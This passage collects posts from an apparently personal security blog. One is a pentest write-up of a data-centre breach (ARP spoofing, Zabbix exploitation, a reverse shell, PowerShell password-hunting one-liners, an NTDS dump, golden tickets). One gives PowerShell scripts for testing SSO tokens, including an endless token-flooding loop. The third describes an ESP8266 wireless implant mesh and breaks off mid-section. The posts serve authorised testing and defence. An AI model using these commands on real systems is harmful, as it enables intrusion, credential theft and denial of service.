The latter scenario's intention was to emulate a threat using an off-the-shelf device to plug into a physically protected, albeit flat network broadcast domain, in which many operational & embedded data appliances were running.&#x20;

Since there was significant EDR, logging and Blue Team tripwires on the Windows side of the house, I decided to go with the data center breach scenario first. Generally speaking, many \*nix assets within enterprise organizations do not contain sufficient endpoint protection and/or security monitoring/response solutions, with the bulk of the focus going to Windows and AD.&#x20;

{% hint style="success" %}
This blog post does not demonstrate any novel techniques or research, but rather demonstrates that often times old-school network attacks are still adequate in facilitating lateral movement and compromise of an entire enterprise network. It also highlights some major security fails from data appliance vendors' software, and how readily those appliances can be leveraged in a network compromise.
{% endhint %}

## Layer 2

As per a common internal offense MO, I ran LLMNR/mDNS poisoning (using [Repsonder](https://github.com/lgandx/Responder) / [Inveigh](https://github.com/Kevin-Robertson/Inveigh)) to attempt credential theft from any Windows endpoints authenticating within the environment. An [NTLM relay was also configured to target machines without SMB signing enabled](https://attack.mitre.org/techniques/T1557/001/) to gain potentially easy footholds. &#x20;

{% hint style="success" %}
Ruling out the existence of AD in an environment can be as simple as scanning for traditional domain controller service signatures, e.g. msrpc, microsoft-ds, dns, ldap, smb, rdp, kerberos etc. Even if the DC is in another segment of the network, you may discover endpoints which could be exploited for a foothold.
{% endhint %}

### BetterCap

Continuing the Layer 2 attacks in the hopes of catching a low-hanging fruit, it was time to get a taste of the old-school with some [ARP spoofing](https://attack.mitre.org/techniques/T1557/002/).

[BetterCap ](https://www.bettercap.org/)is a superb tool network attack tool written by [@evilsocket](https://twitter.com/evilsocket). Due to its maturity, it has become my go-to for Layer 2 attacks & ARP spoofing, rather than [Ettercap](https://www.ettercap-project.org/) (a great project also). To perform the ARP spoof:

1. Gather a list of target IPs with services known to pass credentials, e.g. `http` &#x20;
2. Set those targets in the [arp.spoof module of BetterCap](https://www.bettercap.org/modules/ethernet/spoofers/arp.spoof/)
3. Turn on the `arp spoof` module in full duplex model to ensure that the attack endpoint acts as an interception router
4. Run the [net.sniff](https://www.bettercap.org/modules/ethernet/net.sniff/) module to look at the traffic

## Attack Chain

### HTTP Foothold

The results came in quick, with what appeared to be a live session over a non-secure HTTP negotiation to a [Zabbix](https://www.zabbix.com/) server:

![Catching an HTTP session with BetterCap](/files/-MU7Jxv2MRjxOMqt59rv)

Placing the cookie into a browser indeed verified session access, along with a version number indicated in the server response:

![Valid Zabbix session login](/files/-MU7KCtnAEK6VB3U1uYW)

![Zabbix version disclosure in HTML source](/files/-MU7KJVJ9JKecofp4O4C)

With a simple search of [exploitdb](https://www.exploit-db.com/), the [ZabbixPwn script ](https://github.com/RicterZ/zabbixPwn/blob/master/zabbixPwn.py)was used to leverage a SQL injection vulnerability in the PHP JSON RPC service. I modified the exploit to ignore username/session discovery since the call was returning errors on the particular Zabbix 3.0 deployment, and hard-coded the sessionId.

The hosts returned contained a Zabbix server ID which is used by ZabbixPwn to gain a webshell:

![ZabbixPwn JSRPC host dump](/files/-MU7L9-Bzv6BUFTUXWCN)

![ZabbixPwn initial webshell](/files/-MU7LNCHJXGUiwsj0LJ4)

The webshell was then upgraded with a Bash reverse shell one-liner and upgraded to a PTY with pre-installed Python:

![ZabbixPwn reverse bash shell](/files/-MU7jInyhSM66LHjFYxA)

With the foothold complete, I quickly installed [low-privelege systemd persistence](https://medium.com/@alexeypetrenko/systemd-user-level-persistence-25eb562d2ea8) to ensure ongoing access to the box.

### Lateral Movement

#### Credential Discovery

Taking an inventory of the compromised machine for privilege escalation, a tcpdump pcap was run passively for about an hour. Multiple protocols should be added to this one-liner depending on the environment. Here are some useful services commonly sniffed: `http/s, smb, dns, smtp, pop3, imap, ftp, snmp`. A TCP wildcard could be used but be wary of filesizes, especially when operating on a foothold. Filtering is used to target exploitable use cases as well as prevent large pcaps from accumulating and effecting operability of the machine.

```
tcpdump -i any -s 0 'tcp port http or tcp port https' -w /tmp/http.cap
```

When analyzed, this dump revealed more HTTP servers than initially discovered in the initial nmap / [ARP scans](https://github.com/alexxy/netdiscover). Server credentials for an undisclosed appliance vendor were discovered within a recurring HTTP transaction. These credentials were later found to have existed in the former bettercap ARP spoof as well, albeit occurring at lengthier intervals.

{% hint style="warning" %}
The following server appliance compromise does not include screenshots or vendor information. The vendor was contacted and has thus far not accepted the issues identified as security issues. Until correspondence is complete, this section will remain redacted.
{% endhint %}

After logging into the appliance with the compromised credentials, there was a simple script runner GUI located within the web interface; which was made quick work of with another Bash reverse shell. With a shell session on the appliance, credentials for a Dell OneFS DFS server were discovered in an environment variable:

![OneFS Credentials in an Environment variable](/files/-MU7Mijg4QbMlq9CBgHq)

### DFS Compromise

Using the OneFS credentials in hand, the OneFS administration portal was found to have the a crucial DAC misconfiguration in place: the allowance of low privilege users to write high privilege users' access primitives. Using the web UI, the admin user's password was changed via the compromised low privilege account, and ssh password authentication was granted with the newly set password.

![OneFS Privilege Escalation](/files/-MTxV87hyC5c4tEPajbU)

![Isilon OneFS SSH session](/files/-MU7LvXYt2U0ZfomXbfx)

### Share Enumeration

#### SMB Discovery

Referencing the Isilon OneFS CLI commands [in the official documentation](https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/networking-4/docu84281.pdf), many interesting functions were found to be available. Simple SMB share commands were identified for the purpose of streamlining share enumeration from the SSH session. The names of the shares were dumped in a temporary file using the following Bash one-liners:

```
% isi smb shares list | cut -d '-' -f3 | cut -d ' ' -f1
% isi smb shares list | cut -d ' ' -f1
```

To change the permissions of the target share, the web UI or the following `isi` command could be used:

```
% isi smb shares permission create <share>
```

To test the new privileges, in Linux cifs-utils can be used as follows:

![cifs utils mount](/files/-MU7MCaGs3ZYo4L-SS6V)

```
mount -t cifs -o username=<user>,password=<password> //<host>/<share> /mnt
```

In Windows, the cmd net utils also would work to check access:

```
net use '\\<host>\<share>' "<password>" /u:<host>\<user>
```

As can be seen from the filesystem size, I had clearly hit the mother-load with \~682 terrabytes of live data available throughout the DFS cluster:

![df output indicating 682TB of compromised data available](/files/-MU6ZVOE5GGmu7I487Kw)

#### Targeted Looting

Instead of granting access to every share, important looking financial, PII, and security shares were targeted first. I switched to the Windows machine out of preference for Powershell over bash, which, while domain joined, would also be able to access the shares in a non-domain joined breach scenario (i.e. Windows dropbox). The Powershell below demonstrates some of the generic enumeration executed to find sensitive info / demonstrate impact, and generally wouldn't flag most EDR unless a strong emphasis was placed on Powershell logging.&#x20;

{% hint style="success" %}
There are many other Powershell looting scripts and search patterns all over the internet, left as an exercise for the reader. Powershell is truly fantastic :)
{% endhint %}

```csharp
#passwords
Get-ChildItem -Path “c:\users\” -Recurse -Force -Include *.doc, *.docx, *.xls, *.xlsx, *.txt, *.pdf, *.ppt, *.pptx | Select-String “[P|p]assword” | Select-Object Path, Line, LineNumber | Export-Csv “c:\passwordPII.csv”
Get-ChildItem -Path "C:\Users” -Recurse -Force -Include *.doc, *.docx, *.xls, *.xlsx, *.txt, *.pdf, *.ppt, *.pptx | Select-String “[P|p]assword” | Select-Object Path, Line, LineNumber | ConvertTo-Csv | Tee-Object -File ./file.csv | ConvertFrom-CSV
```

As targeted loot searches ran in the background, the manual search through shares to find easy wins continued. Some quick finds included private SSL keys, Bitlocker key backups,  and SIEM logs:

![SSL Keys](/files/-MU6lY0Z2ICDJSlR72_w)

![Bitlocker Keys](/files/-MU6lyJBciHdmf2vMm_j)

![SIEM Logs](/files/-MU6mb4UKqjz2DMJ-ELo)

More importantly, I discovered a folder which appeared to contain a multitude of Domain Controller backups:

![Windows Images of DC backups located](/files/-MU6oHze8QWAAOF41jFv)

After exfiltrating these files to an offline Windows box, I mounted one of the backups and found the NTDS database intact, ready to be dumped.

![](/files/-MU7Qj-zTHS7tDoFaPut)

### Domain Compromise

At this point, it is basically Game Over for the enterprise. Using [DSInternals](https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADDBAccount.md#example-2), the boot key was extracted into memory, and the NTDS database dumped, yielding the hashes for every account in AD (numbering over 120,000), including the Kerberos ticket granting account (krbtgt). Leveraging Hashcat with several custom rules on an [Amazon G3 instance with 4 Nvidia Tesla M60 GPUs](https://aws.amazon.com/ec2/instance-types/g3/), 30,000+ passwords were successfully cracked within the first 6 hours, including a Domain Administrator account. Moreover, the Enterprise Administrator's account was included in the dump, and due to the copious number of SMB instances exposed in the network, [SMB code execution](https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference) became trivial on many of the AD endpoints.

![EA account dump output](/files/-MU6xbHXrl7wTq3cZMEb)

At this point, I decided to operate a little more loudly, as the main objectives for the client had been complete. The following actions were executed on the initial access Windows machine:

* Escalating to local admin using [JuicyPotato](https://github.com/ohpe/juicy-potato)
* Dropping a custom mimikatz shellcode loader onto disk
* Crafting Golden Tickets using the krbtgt account's hash

![Golden Ticket Invocation](/files/-MU6yj04tZm4VbxoXLXy)

To re-cap, the level of compromise at this point included the following:

* \~25% of all AD accounts fully compromised, 100% of user hashes exposed
* Multiple sessions established on workstations and Domain Controllers with EA level access on both in-scope domains
* Access to the entirety of the enterprise's internal DFS data stores
* Golden tickets crafted for further [PTT lateral movement](https://attack.mitre.org/techniques/T1550/003/)

### Further Looting

With stealth no longer being necessary to the engagement, I played with my new favorite data discovery tool, [Snaffler](https://github.com/SnaffCon/Snaffler). Besides the great decision to write the tool in C# (one of the best programming languages of all time!), the tool offers a very powerful custom data classification engine, as well as machine & share discovery functionality. I continued combing various pieces of PII and financial data for good impact demonstration, and despite performing many thousands of searches on multiple threads across the entire domain, the Blue Team remained unnervingly quiet until reaching the end of the engagement.

## Takeaways

### Underfunded Blue Team

This enterprise network faces a common issue known too well amongst many underfunded Blue Teams: the fatal assumption that the perimeter is what truly matters, and that beyond the perimeter Windows is the end-all security game. If the Blue Team had proper IT funding, it is my opinion based on many conversations that further action would have been taken, and further controls implemented, in order to better secure the data center.&#x20;

### Defense Wins

While the data center was insufficiently protected, the AD environment itself had clearly undergone a much more thorough security review, including some common sense measures:

* Tight ACL / least privilege AD object relationships
* EDR on every machine
* Up-to-date endpoints / Domain Controllers
* Baseline Powershell logging

## Debrief & Defense Recommendations

### Top-Down Security

The assumptions that decision makers in the enterprise carry & execute, if made unilaterally, can adversely effect network security to insane levels as seen in this assumed breach scenario. This particular organization had copious amounts of capital, and the Blue Team brought in pentesters to advocate more comprehensive funding for their team.&#x20;

A malicious party would only have required an off-the-shelf dropbox device and physical access to the data center to completely compromise a large portion of the entire organization. If physical access seems like an outlandish threat scenario, I recommended checking out the fantastic work of [Jayson Street](https://www.youtube.com/watch?v=JsVtHqICeKE) and/or [Deviant Ollam](https://www.youtube.com/watch?v=mj2iSdBw4-0).&#x20;

Assuming that defending the perimeter is the silver bullet to an organization's security program is a terrible mistake. Whether its through social engineering, a novel zero day, an unpatched file server or a rogue device on premise (see my [2018](/2018/hunting-rogue-access-points) and [2019 ](/2019/wireless-implant-c2-security-ops)blogs), determined attackers will adjust their methods asymmetrically when approaching your defenses. There is never, has never, and never will be a silver bullet.

### Baseline Security

In any internal breach scenario, Active Directory security is extremely important; however other common defense-in-depth deterrents should be placed throughout the infrastructure to address some of the more basic, 'old-school' attacks against the enterprise:

* A progressive security program with equal input across the **entire** IT constituency.
* EDR products backed by good threat intelligence
* A fine-tuned SIEM
* Network segmentation
* An IDS that is tuned to the typical \*nix attack chains (and feeds back to the SIEM, naturally)

### Data Exposure

In environments such as this in which large amounts of sensitive & valuable data are exposed in singular data systems / points of failure:

* Perform periodic, comprehensive audits
  * Include threat modeling & inventory of any external applications / appliances with which it interacts, or may interact with in the future
  * Scrutinize access controls and regularly review logs

### Closing Thoughts

Security is a perpetual game of prioritization, resource allocation and perspective. Threats that are swept 'under the rug' may come back to bite an entire organization at unimaginable scale, so it is always best to err on imagining the unimaginable. Regardless of whether the propositions brainstormed are affordable, or within budget/scope of the current business initiatives, it never hurts to play wargames and draw attention to areas of the infrastructure that otherwise may have been neglected.&#x20;

All security starts with awareness, and while approaching the threat landscape with 2 eyes open may not pay dividends, it also may not cost a company an unforseen fortune in the future.


# 2020


# Basic Exploitation of SSO Access Tokens

Musings on basic access token exploitation & security checks on incorrectly/custom implemented SSO

## Access & Bearer Tokens

Bearer tokens and OAuth were originally invented to provide a framework and context for cross-site site authorization. This offered a granular programming interface for access control of resources across trust relationships on the web. Grant types were implemented as different paradigms for authorization scenarios arose across different use cases & devices. Subsets of OAuth functionality were siphoned off and are, likely at the damnation of [the RFC](https://tools.ietf.org/html/rfc6750), implemented in sub-capacities of OAuth's functional purpose. [Thus the password grant type was born](https://tools.ietf.org/html/rfc6749#section-1.3.3). I often find custom SSO implementations that implement the bearer Token Endpoint using the password grant type via a simple HTTP POST with the username and password in the body as an authentication method. In the eyes of the developer, they gain the benefits, e.g. token & session management functionality, for free without the need to implement a more complex grant type model. This also makes security testing easier, and this post deals with some simple exploits & lapses in defense to check for on a pentest or security audit.

## Testing Security Functionality

When I find a convenient token authorization endpoint in my HTTP traffic logs on a pentest, I often focus on session management and make presumptions as to what a custom implementation might be doing under the hood from a data structure perspective. I built the following Powershell template for testing bearer token endpoints, which will be described in the sections following:

```bash
function Get-Bearer
{


    Param
    (
        [Parameter(Position = 0, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TokenUri,
        [Parameter(Position = 1)]
        [String]
        $Body = "",
        [Parameter(Position = 2)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"

    )
    try
    {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"POST"
        $URI = [System.Uri]::new($TokenUri)
        $hostName = ($URI.Host) -replace '^www\.'
        $maximumRedirection = [System.Int32] 0
        $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
        $headers.Add("Host", $hostName)
        $headers.Add("Accept", "application/json")
        $Body += "

        "
        $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $contentType -Body $Body)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }

    $bearerToken = ($response.Content | ConvertFrom-Json).access_token
    return $bearerToken
}

function Get-AuthenticatedResource
{


    Param
    (
        [Parameter(Position = 0,
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TargetUri,
        
        [Parameter(Position = 1, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Token,
        
        [Parameter(Position = 3)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"
    )

    try
    {

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"GET"
    $URI = [System.Uri]::new($TargetUri)
    $maximumRedirection = [System.Int32] 1
    $hostName = ($URI.Host) -replace '^www\.'
    $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
    $headers.Add("Host", $hostName)
    $headers.Add("Authorization", "Bearer " + $Token)

    $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $ContentType)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }
    return $response
}
```

### Cache Overflows

This is by far one of the easiest flaws to find in custom SSO business logic. Fundamentally, developers tend to make assumptions about sessions such as:

* Total users they presume will be using a given application at any given time
* Users are facilitating normal session flow volumes

Thinking back to the early 2000's, [SYN floods](https://en.wikipedia.org/wiki/SYN_flood) were used to DoS routers & network appliances which, simply put, was caused by a failure to evict outstanding TCP SYN negotiations and manage memory properly for the caches which track TCP state.&#x20;

Session management can exhibit similar shortcomings. For example, caches that are constructed in memory with a simple data structure rather than scale-aware memory managed structures could potentially allow for an attacker to tie up a worker thread on a server, or amplify a DoS/DDoS attack if the server utilizes session layer thread-pooling without proper load balancing in the infrastructure.

One solution I have seen commonly adopted is to utilize a distributed performance cache such as [ehcache](https://www.ehcache.org/), which uses [a FIFO to evict entries](https://www.ehcache.org/documentation/2.8/apis/cache-eviction-algorithms.html), within its configuration parameters.

While the cache overflow may not always exhibit a DoS condition, continually requesting tokens is a great way to see if their is any rate-limiting in place, both on the application code and encapsulating infrastructure. Furthermore, the cache deadlock condition could be used as a temporary persistence mechanism if target sessions were not subject to a timeout or eviction. Those sessions could be leveraged in further client-side attacks such as [Session Fixation](https://owasp.org/www-community/attacks/Session_fixation).&#x20;

#### Exploitation

Using the [template above](/2020/basic-exploitation-of-sso-access-tokens#testing-security-functionality), add the following Powershell invocation, after tuning the body request to suit your target:

```bash
DO{
    
    Start-Job -ScriptBlock{
    Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
    $bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
    -Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
    $bearerToken
    }

}
While (1)
```

{% hint style="success" %}
Implementing this in a multi-threaded context would provide a nice improvement in the future
{% endhint %}

### Session Replay

Session replay is a simple test to ensure that the OAuth/OIDC logout endpoint is implemented correctly, and doesn't allow for an expired token to be used again. This is an important defense-in-depth measure as it ensures that tokens, should they be cached, cannot be compromised in any number of ways including (but not limited to):

* Physical Access
* Browser Exploits
* Trojans

#### Exploitation

This can be performed with the following Powershell invocation (again requiring your own tuning), which gets a token, makes an authenticated request for privileged resources, hits the expiration endpoint, and then again attempts to make the same authenticated request:

```bash
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode


Write-Host "Initiating Token Expiration.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/protocol/openid-connect/logout?redirect_uri=https%3A%2F%2Fexample.com%2F%23%2Fusers"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Write-Host "Making Request with Expired Bearer Token.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response.StatusCode
$response | Select-Object -ExpandProperty RawContent
```

### IDOR

Another easy win is to test for IDOR, in which a user is able to escalate his or her privileges by simply requesting a high-privilege resource with a low-privilege token context.

#### Exploitation

```bash
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=low_priv_user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making High Privilege Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/authenticatedResource"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode
```

## Conclusions & Defense

It is never a good idea to roll your own SSO, but if the enterprise at large demands it be sure that proper protective measures are taken to ensure proper application-level access management, data structure implementations, and session management configurations. Perform periodic & comprehensive reviews of all source code, and most importantly [instrument a DevSecOps pipeline](https://www.sans.org/security-resources/posters/cloud/cloud-security-devsecops-practices-200) to continuously ensure security practices as part of the development process. Be sure that the code is compliant with industry standards such as [RFC 6750](https://tools.ietf.org/html/rfc6750), and the [OIDC specifications](https://openid.net/developers/specs/) if relevant to the organization. If available, replace legacy SSO implementations with pre-built, [industry approved libraries](https://oauth.net/code/) for your specific stack.

## References

{% embed url="<https://oauth.net/2/grant-types/>" %}

{% embed url="<https://oauth.net/2/bearer-tokens/>" %}

{% embed url="<https://tools.ietf.org/html/rfc6750>" %}

{% embed url="<https://developer.okta.com/blog/2018/06/29/what-is-the-oauth2-password-grant>" %}

{% embed url="<https://www.ehcache.org/documentation/2.8/apis/cache-eviction-algorithms.html>" %}


# 2019


# Wireless Implant C2 for Security Operations

Based on research done for the DEFCON 27 Wireless Village

## Proliferation

Since the mass adoption of wireless networks in the early 2000s, wireless standards bodies such as the WiFi Alliance have become the linchpin for the proliferation of affordable, interoperable commercial & enterprise wireless devices. While the convenience and universality of such devices cannot be denied, transparency and security often become a forethought throughout their conception.&#x20;

The result is standards and norms which cement themselves in IT operations all across the world, giving what many offensive researchers view as a an easy win in terms of establishing repeatable, predictable attack surfaces in enterprises and small businesses alike. As they researched and released untold numbers of exploits over the course of the last two decades, defenders have found their infrastructure to be blindsided time and time again. Misassociation, deauthentication, and key reinstallation are a just a few classes of wireless attacks which have become a thorn in the side of IT teams.

## The Low-Hanging Fruit

[Rogue access points](https://en.wikipedia.org/wiki/Rogue_access_point) are a misconfigured or maliciously placed wireless access point, generally considered to be hidden or obscured under the intended hardware baseline. They often come in small, clandestine form factors such as the Hak5 Pineapple or a Raspberry Pi. These devices are generally considered the low-effort avenue for an adversary to gain initial access into a target network, as the challenge is primarily planting the device itself and retaining access. They are almost always attacker controlled, and if placed correctly are very difficult to locate.

![Hak5 Pineapple Nano ](/files/-MQiRQHuSQ1jemI5D084)

Simple 'gotcha' misassociation attacks such as the infamous Evil-Twin or MANA can make quick work for compromising employee endpoints and collecting the information necessary to gain a foothold on an otherwise secure network. There are many defense-in-depth measures & configurations, enterprise-grade hardware and techniques that can be leveraged to prevent many of the common pitfalls.&#x20;

Rogue access points can also be located by physically triangulating various wireless signals, [as presented in my research with Todd at DEFCON 26](https://www.youtube.com/watch?v=jGYrE3Jw-e0). When the access points become mobile, such as in an attacker's backpack or on a drone, or in the less than non-conspicuous WiFi Cactus wielded by [d4rkm4tter](https://twitter.com/d4rkm4tter), the following challenges become apparent:

* Identifying the wireless signature of the device. This could be a BSSID or a beacon/probe cadence with a specific pattern of targets. It also includes a specific frequency and channel(s).
* Fast moving.
* Structural and wireless interference requiring additional tuning.
* Large area to cover - multiple choke points with many potential sources of signal noise / attenuation.

The scope of the research performed below encompasses a novel approach to both detection and offense of common attacks seen in the wild, as perpetrated by hard-to-find/catch rogue access points.

## The Implant C2 Approach

Given the logistic impossibility of hunting rogue access points at scale on foot, we required a framework of wireless data ingestion that fit the following parameters:

* Worked over a large distributed area, with multiple nodes collecting data
* Continuous data ingestion & monitoring
* Command & control capability
* Concealable & cheap
* Easy to take on the move

This would allow for proactive, large-scale data ingestion, as well as offensive command and control channels for distributed red teaming activities. The points of data we were interested in included:

* Baseline BSSID presence
* Source/Destinations of wireless probes
* Source of wireless beacons
* Physical locations of all of the above, by triangulating signal strength

## Project Parameters and Hardware

Since the project budget was rather small (and personal), we opted for the [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It offers the following advantages:

* Full TCP/IP stack for $3-5
* Includes the easy to use EspressIf SDK
* 802.11b (2.4 GHz) capable
* 2 GPIO for Serial programming
* Very small

and the following disadvantages:

* No debugging capabilities at the time of conception
* 1MB RAM
* Power hungry, gets very hot
* Limited range

This project was  field tested at the DEFCON 26 wireless CTF, in an attempt to locate mobile rogue access points, dubbed "foxes". Thus, the project was dubbed "Fox Trap".&#x20;

### Hardware Prototypes

We iterated through a variety of prototypes, to program, deploy & conceal the implants.

#### **Prototype 1**

![Rudimentary Bi-modal - Program & Operate ESP8266 breadboard](/files/-MQie15l1XrU-kVmApmY)

#### **Prototype 2&3**

![Smaller breakout board (FTDI) -> Bought USB (UART) programmer](/files/-MQiebJdLuDAiGXFUxL8)

#### **Prototype 3**

![Concealable case with Lithium Ion Battery](/files/-MQihavgM35OB_4A08Xb)

#### **Prototype 4**

![Concealable double-velcro implants w/Nickel cell & Lithium Ion](https://lh4.googleusercontent.com/ZfHyZruuhQcawuD92C-MU0_bBItCgfbQv4iu2f3cPoqEc0zPMhj1TW0Zww3OlcTJIkXcB1m_yfZoJ_L1L3eUaKXbT1ipME-KqzscR4v2e77YRsMFVdfzpIxx1rNyDmnuOVGj5xw)

![Concealable double-velcro implants w/Nickel Cell form factor](https://lh5.googleusercontent.com/PrcPaoKh5qseUxyWFSn8rWgmSGO7_lMS5YEPwY8azIotXbU3nDuFDGTzan24r20SZjOys2N7OcAZLtXXHDjFcfBEG3QOU_HP-WeczL_igvOmfK9S8qxc9Cnm3abhcAMX5Wy-v2w)

## Software Considerations

The following were identified as key points in the selection process of a software stack:

* Open source support
* Robust Library Offerings
* Quick to leverage

Due to the need to operate in a large, noisy and highly dynamic RF environments, a mesh network seemed to be the best choice at hand due to the topological extensibility they offer. This would allow the software to fallback into alternate communication modes of our choosing, should a signal be be lost for any reason or if a message/alert failed to send any number of times.

[painlessMesh](https://gitlab.com/painlessMesh/painlessMesh) was chosen for its great documentation, comprehensive code base and good developer support. The mesh mode functions with the assumption of a single root node and a constantly changing wireless topology, consisting of "leaf" worker nodes in the network.

![painlessMesh Mesh Topology](/files/-MR3SrwfY04ec6QmSqgs)

## Software Prototype

With the parameters set in motion for a mesh-based, WiFi C2 framework, the following 2 paradigms would be implemented:

### [Root node](https://github.com/joeminicucci/fox_trap/tree/master/fox_track/src) Design

Duties:

* Command & control bots
* Update target BSSID
* Collect and forward bot data

Software Stack:

* ArduinoJson
* painlessMesh&#x20;

### [Bot (Bi-Modal)](https://github.com/joeminicucci/fox_trap/blob/master/fox_bot/src/main.cpp) Design

Due to the lack of software interrupts being implemented in the [EspressIf SDK](https://www.espressif.com/en/products/software/esp-sdk/overview) at the time of development (perhaps this is due to a hardware limitation), running promiscuous mode for sniffing traffic, and inter-weaving seamlessly with communication mode for the mesh was not a possibility. Instead, I created a model in which the 2 modes would be logically separate, and synchronously communicate as necessary. This would ensure that when a signal alert was located by a bot, the whole network would be in constant synchronization to propagate the data back to the root node, and acknowledge the ingestion / re-synchronization across the mesh accordingly.

Sniff Mode:

* BSSID sniffer
* Probe sniffer
* Beacon sniffer

Mesh Mode:

* Communication responsibilities
  * Alert propagation
  * Signal Acknowledgments
  * Re-synchronization

![Programming the ESP8266 chips](/files/-MRHe9_4Hh7lyiKx1-GU)

### Bot Implementation - Initialization & Mesh Mode

The bot would function by first placing itself into mesh communication mode to talk to the mesh.

```cpp
void meshInitialization(){
    //keep the topology correct
    mesh.setRoot(false);
    mesh.setContainsRoot(true);
    mesh.onReceive(&receivedCallback);
    mesh.onNodeTimeAdjusted(&onTimeAdjusted);

    mesh.init( MESH_PREFIX, MESH_PASSWORD, &userScheduler, MESH_PORT, WIFI_AP_STA, channel);
}
```

&#x20;The `onNodeTimeAdjusted` callback function is crucial to guaranteeing the time SNTP time synchronization within the mesh, and if the node drops or falls out of sync it will reconnect an re-sync as follows:

```cpp
void onTimeAdjusted(int32_t offset){
    Serial.printf("SNTP GOOD WITH CURRENT_TIME=: %u\t DELTA: %u\n", mesh.getNodeTime(), offset);
    if(!syncd){
        syncd = true;
        CalculateSyncAndLaunchTasks();
    }
}
```

The `CalculateSyncAndLaunchTasks()` function gives an introspection into how the entire bot scheme works, in the form of asynchronous task definitions, which are added to the built-in TaskScheduler library. The scheduler model made working with painlessMesh relatively easy, and fun.

```cpp
    if (!addedTasks){
        addedTasks = true;
        userScheduler.addTask(botInitializationTask);
        userScheduler.addTask(snifferInitializationTask);
        userScheduler.addTask(channelHopTask);
        userScheduler.addTask(resyncTask);
        userScheduler.addTask(_sendAlertTask);
    }
```

The task model functioned as follows:

* **botInitialization** : Places the bot into mesh communication mode to talk to the network. All bots must be in communication at the same time.
* **channelHop** : Changes the wireless channels at specified time intervals while sniffing.
* **resync** : Sets flag to resynchronize node to the mesh at a guaranteed period.
* **snifferInitialization** : Places the node into 'sniffing' promiscuous mode and scans the air for a BSSID (MAC) contained in the targets list which is either probing or beaconing.
* **sendAlert** : Drops out of sniffing mode when a target is found and continuously reports to the mesh for specified periods

And would be declared in the C++ as follows, as tasks with callback function pointers:

```cpp
Task botInitializationTask(meshCommInterval, TASK_ONCE, &botInitialization, &userScheduler, false, NULL, &meshDisabled);
Task channelHopTask(channelHopInterval, TASK_FOREVER, &channelHop, &userScheduler, false, NULL, NULL);
Task resyncTask(resyncInterval, TASK_ONCE, &resync, &userScheduler, false, NULL, NULL);
Task snifferInitializationTask(sniffInterval, TASK_ONCE, &initializeSniffer, &userScheduler, false, NULL, &snifferDisabled);
Task _sendAlertTask(TASK_SECOND * alertSeconds, alertTimes, &sendAlert, &userScheduler, false, NULL, &CalculateSyncAndLaunchTasks);
```

The duty cycles of these tasks were defined by hard-coded intervals in the code, which are part of the task definitions seen above:

```cpp
uint16_t channel = 6;
uint32_t meshCommInterval = 20000; //ms
uint32_t sniffInterval = 9000; //ms
uint32_t resyncInterval = 900000; //ms
uint8_t channelHopInterval = 400;
unsigned long alertSeconds = 3;
uint32_t alertTimes = 20;
```

For example, a bot by default will run in communication mode for 20 seconds to get any messages / SNTP synchronizations across the wire back to the root, and will sniff for targets for 9 seconds and hop 13 standard WiFi channels within 9,000ms (sniff interval)/400ms (channel hop interval), which would be \~23 channel cycles within each sniff cycle (no wonder why the chips ran so hot!).

![](/files/-MRHPelY_U7ReKNTxCCy)

If a bot discovers a target, [discussed further in the alerting section](/2019/wireless-implant-c2-security-ops#alerting-and-response), it would enter alert mode for another preset Task interval, followed by going back to re-synchronize with the mesh. Re-synchronization is performed ad-hoc every 900 seconds by default, as it was found over time SNTP wasn't always reliable and nodes could become orphaned with increasing distance, signal attenuation & interference.&#x20;

![](/files/-MRHP_rqOYvzMXyALuwa)

Should SNTP be found to change, the current time is pulled from the mesh, and the closest interval threshold offset to synchronize with the network is calculated as follows:

